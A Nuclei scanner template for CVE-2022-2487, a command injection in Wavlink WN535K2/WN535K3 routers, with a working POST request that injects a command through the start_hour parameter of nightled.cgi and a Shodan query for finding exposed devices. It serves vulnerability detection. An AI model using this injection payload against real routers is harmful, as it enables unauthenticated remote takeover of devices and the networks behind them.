nuclei-templates/http/cves/2022/CVE-2022-2487.yaml

64 lines
2.2 KiB
YAML

id: CVE-2022-2487
info:
name: Wavlink WN535K2/WN535K3 - OS Command Injection
author: For3stCo1d
severity: critical
description: |
Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument start_hour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
remediation: |
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
reference:
- https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487
- https://vuldb.com/?id.204538
- https://nvd.nist.gov/vuln/detail/CVE-2022-2487
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-2487
cwe-id: CWE-78
epss-score: 0.97409
epss-percentile: 0.99925
cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wavlink
product: wl-wn535k2_firmware
shodan-query: http.title:"Wi-Fi APP Login"
tags: cve,cve2022,iot,wavlink,router,rce,oast
variables:
cmd: "id"
http:
- raw:
- |
@timeout: 10s
POST /cgi-bin/nightled.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=night_led&start_hour=;{{cmd}};
matchers-condition: and
matchers:
- type: word
part: body
words:
- "uid="
- "gid="
- "nightStart"
condition: and
- type: word
words:
- text/html
- type: status
status:
- 200
# digest: 480a00453043022063c0e55419c9314aa4179cbc620cda3fb24c5a8ec5f8a5bf570b4744cf6fd2d4021f5a44d8882c4a8b74f1f1a6a3d2651b10ecd553f39eb188a71f5c135ab2cde4:922c64590222798bb761d5b6d8e72950